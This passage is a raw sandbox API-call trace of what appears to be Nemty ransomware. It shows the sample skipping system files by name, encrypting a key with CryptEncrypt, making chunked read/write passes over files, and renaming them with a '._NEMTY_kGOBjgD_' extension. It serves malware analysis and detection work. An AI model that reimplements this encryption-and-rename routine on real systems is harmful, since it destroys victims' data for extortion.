hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.003] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0065.003] CloseHandle (hObject=0xffffffff) returned 0 [0065.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0065.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0065.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0065.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0065.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0065.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0065.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0065.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0065.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0065.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0065.003] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0065.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0065.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0065.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0065.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0065.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0065.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0065.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0065.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0065.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0065.004] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0065.004] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0065.004] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0065.004] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="...") returned 1 [0065.004] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="windows") returned -1 [0065.004] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0065.004] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="rsa") returned -1 [0065.004] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0065.004] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntldr") returned -1 [0065.004] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0065.004] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0065.004] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0065.004] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0065.004] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0065.004] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0065.004] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0065.004] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0065.004] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0065.004] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0065.004] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0065.004] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="programdata") returned -1 [0065.004] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="appdata") returned 1 [0065.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0065.005] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0065.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.005] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0065.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0065.005] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0065.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.005] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0065.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0065.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0065.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0065.005] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0065.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.005] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0065.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0065.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0065.005] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0065.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0065.005] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0065.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0065.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0065.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0065.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0065.005] Sleep (dwMilliseconds=0x5) [0065.018] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xda66a7b0, dwHighDateTime=0x1d561e7)) [0065.018] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xda66a7b0, dwHighDateTime=0x1d561e7)) [0065.018] GetLastError () returned 0x5 [0065.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0065.019] GetLastError () returned 0x5 [0065.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0065.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0065.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0065.019] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0065.019] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0065.019] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0065.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0065.019] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="5Ky6N6K5HBZ+d5wpnIjb/RJYqm6xVgWU2gNxg5+2esnpbQih81FTvQAjgyxWdR2E\r\nEvQWs++0csurHKiQ2CmSzVqjFuxDmoZwUUJerFRIw6bZBtpuShBKJU+ejOtaPNui\r\nVfkUGlfrSD7Vy/rAEx9S03fNnThW4r5i0jcT2/QTnAgiBlaHISlbXjMO8Xp74B91\r\n428izd7Mk/Ni90EAk/vYbGth1N0ciooPAWwbfeH0w5sAvQjJHXyndnL/EMuH94Of\r\nX4kPvaxb7a5JvWFhFAACNp2K8hqbbQJU+BToV1L2YbsHruypdkuXrFHs199dChbg\r\n9oQZRjHYJNFn+D2ZGsOzzQ==\r\n", pcchString=0x653e91c) returned 1 [0065.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0065.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0065.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0065.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0065.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0065.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0065.019] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0065.019] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0065.019] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0065.019] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.019] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.029] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.029] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.038] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.039] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.039] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.048] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.048] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.058] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.058] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.058] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.058] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.068] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.068] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.068] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.068] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.077] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.077] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.091] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.092] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.101] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.102] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.111] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.111] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.120] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.120] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.126] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.126] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.132] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.132] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0065.133] CloseHandle (hObject=0xffffffff) returned 0 [0065.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0065.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0065.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0065.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0065.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0065.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0065.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0065.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0065.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0065.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 